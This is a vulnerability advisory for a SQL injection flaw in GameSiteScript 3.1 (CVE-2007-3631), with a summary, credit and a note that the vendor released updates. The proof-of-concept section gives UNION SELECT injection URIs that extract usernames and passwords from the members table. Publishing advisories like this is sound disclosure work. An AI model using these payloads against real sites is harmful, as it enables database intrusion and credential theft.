GameSiteScript Index.PHP SQL Injection Vulnerability
BID:24807
Info
GameSiteScript Index.PHP SQL Injection Vulnerability
| Bugtraq ID: | 24807 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-3631 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 07 2007 12:00AM |
| Updated: | May 07 2015 05:37PM |
| Credit: | Xenduer77 is credited with the discovery of this vulnerability. |
| Vulnerable: |
GameSiteScript GameSiteScript 3.1 |
| Not Vulnerable: | |
Discussion
GameSiteScript Index.PHP SQL Injection Vulnerability
GameSiteScript is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
GameSiteScript 3.1 and prior versions are vulnerable to this issue.
GameSiteScript is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
GameSiteScript 3.1 and prior versions are vulnerable to this issue.
Exploit / POC
GameSiteScript Index.PHP SQL Injection Vulnerability
No exploit is required.
An example URIs has been provided:
http://www.example.com/iindex.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0,0,0+from+members+where+id='1
http://www.example.com/index.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0+from+members+where+id='1
No exploit is required.
An example URIs has been provided:
http://www.example.com/iindex.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0,0,0+from+members+where+id='1
http://www.example.com/index.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0+from+members+where+id='1
Solution / Fix
GameSiteScript Index.PHP SQL Injection Vulnerability
Solution:
The vendor released updates to address this issue. Please contact the vendor for information on how to obtain and apply these updates.
Solution:
The vendor released updates to address this issue. Please contact the vendor for information on how to obtain and apply these updates.